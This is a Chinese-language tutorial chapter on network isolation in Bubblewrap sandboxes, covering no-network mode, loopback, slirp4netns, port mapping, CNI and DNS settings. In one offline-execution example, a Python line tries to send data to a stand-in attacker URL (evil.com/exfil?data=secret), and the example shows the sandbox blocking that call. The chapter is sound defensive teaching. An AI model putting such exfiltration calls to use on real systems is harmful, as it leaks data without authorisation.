第 6 章 - 网络隔离
第 6 章:网络隔离
本章详细讲解 Bubblewrap 中的网络隔离技术,包括无网络模式、回环接口配置、与宿主网络共享、以及高级场景下的自定义网络和端口映射配置。
6.1 Linux 网络命名空间回顾
Network Namespace 为进程提供独立的网络栈,包括:
每个 Network Namespace 拥有独立的:
├── 网络接口(eth0, lo, veth, ...)
├── IP 地址
├── 路由表
├── iptables / nftables 规则
├── /proc/net 和 /sys/class/net
├── 端口号空间
├── Unix domain sockets(部分隔离)
└── 网络设备
6.2 无网络模式
最安全的网络隔离方式是完全禁止网络访问。
基本用法
# 创建完全无网络的沙箱
bwrap \
--ro-bind / / \
--unshare-net \
--dev /dev \
--proc /proc \
--tmpfs /tmp \
bash
# 在沙箱内查看网络接口
ip link show
# 1: lo: <LOOPBACK> mtu 65536 qdisc noop state DOWN
# link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
# 尝试网络连接——失败
ping -c 1 -W 2 8.8.8.8 2>&1
# connect: Network is unreachable
curl --max-time 3 https://example.com 2>&1
# curl: (6) Could not resolve host: example.com
验证网络隔离
# 从宿主和沙箱分别查看网络,对比差异
# 宿主
ip addr show | grep "inet "
# inet 127.0.0.1/8 scope host lo
# inet 192.168.1.100/24 brd 192.168.1.255 scope global eth0
# 沙箱
bwrap --ro-bind / / --unshare-net --dev /dev --proc /proc \
bash -c 'ip addr show | grep "inet "'
# (无输出,没有 IP 地址)
适用场景
| 场景 | 说明 |
|---|---|
| 代码编译 | 编译过程不需要网络 |
| 文档编辑 | 编辑器不需要网络 |
| 本地计算 | 纯计算任务 |
| 安全测试 | 防止数据外泄 |
| 不可信脚本执行 | 防止网络恶意行为 |
6.3 启用回环接口
某些程序需要 localhost 连接(如数据库客户端连接本地服务器)。
配置回环接口
# 创建网络命名空间并手动启用 lo
bwrap \
--ro-bind / / \
--unshare-net \
--dev /dev \
--proc /proc \
--tmpfs /tmp \
bash -c '
# 启用回环接口
ip link set lo up
ip addr add 127.0.0.1/8 dev lo
# 验证
ip addr show lo
# 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN
# link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
# inet 127.0.0.1/8 scope host lo
# 测试 localhost 连接
ping -c 1 127.0.0.1
# PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
# 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.018 ms
'
实际应用:本地数据库测试
# 在沙箱内运行 PostgreSQL 并连接
bwrap \
--ro-bind / / \
--unshare-net \
--unshare-pid \
--dev /dev \
--proc /proc \
--tmpfs /tmp \
--bind /var/lib/postgresql /var/lib/postgresql \
bash -c '
ip link set lo up
ip addr add 127.0.0.1/8 dev lo
# 启动 PostgreSQL(简化示例)
pg_ctl -D /tmp/pgdata start 2>/dev/null
# 连接到 localhost
psql -h 127.0.0.1 -U postgres -c "SELECT 1" 2>/dev/null || \
echo "PostgreSQL not installed or not configured"
'
6.4 共享宿主网络
某些场景需要沙箱进程访问网络(如浏览器、下载工具)。
基本用法
# 不使用 --unshare-net,沙箱共享宿主的网络栈
bwrap \
--ro-bind / / \
--dev /dev \
--proc /proc \
--tmpfs /tmp \
bash -c '
# 可以看到宿主的网络接口
ip addr show | grep "inet "
# inet 127.0.0.1/8 scope host lo
# inet 192.168.1.100/24 ...
# 可以访问网络
curl -s --max-time 5 https://example.com | head -3
# <!doctype html>
# <html>
# <head>
'
安全考量
共享宿主网络意味着:
| 风险 | 说明 | 缓解措施 |
|---|---|---|
| 网络扫描 | 沙箱可以扫描内网 | 使用 seccomp 限制 socket 系统调用 |
| 数据外泄 | 沙箱可以通过网络发送数据 | 使用无网络模式 |
| 端口绑定 | 沙箱可以监听端口 | 使用能力限制(drop CAP_NET_BIND_SERVICE) |
| DNS 泄露 | 沙箱可以进行 DNS 查询 | 不使用 –unshare-net 时无法阻止 |
6.5 网络隔离模式对比
| 模式 | 参数 | 网络访问 | 用途 |
|---|---|---|---|
| 完全隔离 | --unshare-net | ❌ 无 | 离线计算、安全执行 |
| 仅回环 | --unshare-net + ip 命令 | 🔒 仅 localhost | 本地服务测试 |
| 共享宿主 | (不使用 –unshare-net) | ✅ 完全 | 浏览器、下载工具 |
| 共享 + 限制 | 共享 + seccomp | ⚠️ 受限 | 需要部分网络的应用 |
6.6 高级:手动创建 veth pair
通过 veth pair 可以在沙箱和宿主之间建立网络通道。这需要 root 权限或额外工具。
原理
宿主系统 沙箱
┌──────────────────────┐ ┌──────────────────────┐
│ │ │ │
│ veth-host │ ←─────────→ │ veth-sandbox │
│ 10.0.0.1/24 │ veth pair │ 10.0.0.2/24 │
│ │ │ │
│ iptables NAT │ │ route: default via │
│ IP forwarding │ │ 10.0.0.1 │
│ │ │ │
└──────────────────────┘ └──────────────────────┘
脚本实现
#!/bin/bash
# sandbox-with-net.sh - 带自定义网络的沙箱
set -e
VETH_HOST="veth-h$$"
VETH_SANDBOX="veth-s$$"
SUBNET="10.0.$$"
# 注意:创建 veth pair 和配置网络命名空间需要 root 权限
# 或者通过 slirp4netns 等工具实现非特权网络
# 获取 bwrap 创建的网络命名空间需要一些技巧
# 以下为概念演示,实际使用建议配合 slirp4netns
echo "注意:完整的网络配置需要 root 权限或 slirp4netns"
echo "详见 6.7 节"
6.7 使用 slirp4netns 实现非特权网络
slirp4netns 是一个用户态网络栈实现,允许非特权进程在 user namespace 内获得网络访问。
安装 slirp4netns
# Fedora
sudo dnf install slirp4netns
# Debian / Ubuntu
sudo apt install slirp4netns
# Arch Linux
sudo pacman -S slirp4netns
基本用法
#!/bin/bash
# bwrap-with-net.sh - 使用 slirp4netns 的网络沙箱
# 1. 创建命名空间并获取 PID
bwrap \
--ro-bind / / \
--unshare-net \
--unshare-pid \
--fork \
--dev /dev \
--proc /proc \
--tmpfs /tmp \
bash -c '
echo "Sandbox PID (from outside): $$"
sleep infinity
' &
BWRAP_PID=$!
# 等待 bwrap 启动
sleep 1
# 2. 使用 slirp4netns 为沙箱提供网络
slirp4netns --configure --mtu=65520 $BWRAP_PID tap0 &
SLIRP_PID=$!
echo "bwrap PID: $BWRAP_PID"
echo "slirp4netns PID: $SLIRP_PID"
# 清理
wait $BWRAP_PID 2>/dev/null
kill $SLIRP_PID 2>/dev/null
slirp4netns 的特点
| 特性 | 说明 |
|---|---|
| 无需 root | 完全在用户态运行 |
| 性能 | 较低(用户态网络栈),约 100-300 Mbps |
| NAT | 自动进行 NAT,沙箱可通过宿主访问外网 |
| 端口转发 | 支持端口映射到沙箱 |
| IPv4/IPv6 | 支持 IPv4,IPv6 支持有限 |
6.8 端口映射
使用 slirp4netns 的端口转发
#!/bin/bash
# 将宿主的 8080 端口映射到沙箱的 80 端口
# 启动沙箱
bwrap \
--ro-bind / / \
--unshare-net \
--unshare-pid \
--fork \
--dev /dev \
--proc /proc \
--tmpfs /tmp \
bash -c '
# 设置回环接口
ip link set lo up
# 启动一个简单的 HTTP 服务
python3 -m http.server 80 --directory /tmp 2>/dev/null &
sleep infinity
' &
BWRAP_PID=$!
sleep 1
# 使用 slirp4netns 转发端口
slirp4netns \
--configure \
--mtu=65520 \
--enable-sandbox \
-e 8080:80 \
$BWRAP_PID tap0 &
echo "沙箱 HTTP 服务可通过 http://localhost:8080 访问"
echo "按 Ctrl+C 停止"
wait
端口映射对照
宿主端口 → 沙箱端口
8080 → 80 (HTTP)
8443 → 443 (HTTPS)
3306 → 3306 (MySQL)
5432 → 5432 (PostgreSQL)
6.9 与 CNI 集成
CNI(Container Network Interface)是容器网络的标准接口。虽然 Bubblewrap 本身不直接集成 CNI,但可以通过工具链实现。
原理
Bubblewrap 创建 Network Namespace
↓
CNI 插件配置网络(bridge, vlan, macvlan, ...)
↓
沙箱进程获得自定义网络配置
使用 cni-plugins
# 安装 CNI 插件
# Fedora
sudo dnf install containernetworking-plugins
# Debian / Ubuntu
sudo apt install containernetworking-plugins
# 查看可用的 CNI 插件
ls /opt/cni/bin/ 2>/dev/null || ls /usr/libexec/cni/ 2>/dev/null
# bridge dhcp flannel host-device host-local
# loopback macvlan portmap ptp tuning vlan
手动集成示例
#!/bin/bash
# cni-bwrap.sh - 使用 CNI 为 bwrap 沙箱配置网络
# 注意:需要 root 权限
set -e
NETNS_NAME="bwrap-$$"
CNI_CONF_DIR="/etc/cni/net.d"
# 1. 创建网络命名空间
ip netns add "$NETNS_NAME"
# 2. 创建 CNI 配置
cat > "/tmp/cni-$$.conf" << 'EOF'
{
"cniVersion": "0.4.0",
"name": "bwrap-net",
"type": "bridge",
"bridge": "cni-bwrap0",
"isGateway": true,
"ipMasq": true,
"ipam": {
"type": "host-local",
"subnet": "10.88.0.0/16",
"routes": [
{ "dst": "0.0.0.0/0" }
]
}
}
EOF
# 3. 使用 CNI 插件配置网络(需要 root)
# CNI_COMMAND=ADD CNI_CONTAINERID=$$ CNI_NETNS=/run/netns/$NETNS_NAME \
# CNI_IFNAME=eth0 CNI_PATH=/opt/cni/bin \
# /opt/cni/bin/bridge < "/tmp/cni-$$.conf"
echo "CNI 集成需要 root 权限和额外配置"
echo "建议使用 Podman 或 Flatpak 替代方案"
# 清理
ip netns del "$NETNS_NAME" 2>/dev/null
rm -f "/tmp/cni-$$.conf"
6.10 实用网络沙箱示例
示例 1:离线代码执行
# 离线执行不可信的 Python 代码
bwrap \
--ro-bind / / \
--unshare-net \
--unshare-pid \
--dev /dev \
--proc /proc \
--tmpfs /tmp \
--die-with-parent \
python3 -c '
import sys
# 即使代码尝试网络操作也会失败
try:
import urllib.request
urllib.request.urlopen("https://evil.com/exfil?data=secret")
except Exception as e:
print(f"Network blocked: {e}")
print("Computation result:", sum(range(1000)))
'
示例 2:浏览器沙箱(共享网络)
# 浏览器需要网络但要限制文件系统访问
bwrap \
--ro-bind / / \
--dev /dev \
--proc /proc \
--tmpfs /tmp \
--tmpfs /home/user/.mozilla \
--bind ~/.mozilla/firefox/profiles/default /home/user/.mozilla/default \
--tmpfs /home/user/Downloads \
--unshare-pid \
firefox
示例 3:网络调试工具
# 在隔离文件系统但共享网络的环境中运行网络工具
bwrap \
--ro-bind / / \
--tmpfs /tmp \
--dev /dev \
--proc /proc \
bash -c '
echo "=== 网络调试工具沙箱 ==="
echo ""
# 连通性测试
echo "1. 连通性测试:"
ping -c 2 -W 3 8.8.8.8 && echo " ✅ Internet OK" || echo " ❌ No Internet"
# DNS 测试
echo ""
echo "2. DNS 测试:"
nslookup example.com 2>/dev/null && echo " ✅ DNS OK" || echo " ❌ DNS failed"
# HTTP 测试
echo ""
echo "3. HTTP 测试:"
curl -s -o /dev/null -w "%{http_code}" --max-time 5 https://example.com
echo ""
'
6.11 DNS 隔离
DNS 配置通常通过 /etc/resolv.conf 控制。
# 使用自定义 DNS 配置
cat > /tmp/resolv-sandbox.conf << 'EOF'
# 仅允许本地 DNS
nameserver 127.0.0.1
options timeout:1 attempts:1
EOF
bwrap \
--ro-bind / / \
--ro-bind /tmp/resolv-sandbox.conf /etc/resolv.conf \
--dev /dev \
--proc /proc \
--tmpfs /tmp \
bash -c '
cat /etc/resolv.conf
# nameserver 127.0.0.1
# options timeout:1 attempts:1
# DNS 解析将尝试连接 127.0.0.1
# 如果没有本地 DNS 服务器,解析将失败
nslookup example.com 2>&1 || echo "DNS resolution failed (expected)"
'
6.12 网络隔离安全性总结
| 隔离级别 | 配置 | 安全性 | 功能性 |
|---|---|---|---|
| 无隔离 | 不使用 --unshare-net | ⭐ | ⭐⭐⭐⭐⭐ |
| 完全隔离 | --unshare-net | ⭐⭐⭐⭐⭐ | ⭐ |
| 仅回环 | --unshare-net + lo | ⭐⭐⭐⭐ | ⭐⭐ |
| slirp4netns | --unshare-net + slirp4netns | ⭐⭐⭐ | ⭐⭐⭐⭐ |
| CNI 自定义 | --unshare-net + CNI | ⭐⭐⭐⭐ | ⭐⭐⭐⭐ |
6.13 注意事项
⚠️ 重要提醒
--unshare-net需要 user namespace:在没有 user namespace 支持的系统上,创建网络命名空间可能需要 root 权限。共享网络的风险:不使用
--unshare-net时,沙箱进程可以访问宿主的整个网络栈,包括内网服务。Unix socket 不受网络命名空间限制:通过 Unix domain socket 的 D-Bus 等 IPC 机制需要额外处理。
slirp4netns 性能限制:用户态网络栈的吞吐量有限,不适合高带宽场景。
DNS 泄露:即使使用网络命名空间,如果允许网络访问,DNS 查询仍然可能泄露访问的域名。
IPv6 注意事项:slirp4netns 的 IPv6 支持有限,可能需要额外配置。
6.14 扩展阅读
上一章:第 5 章 - 文件系统隔离 | 下一章:第 7 章 - 安全策略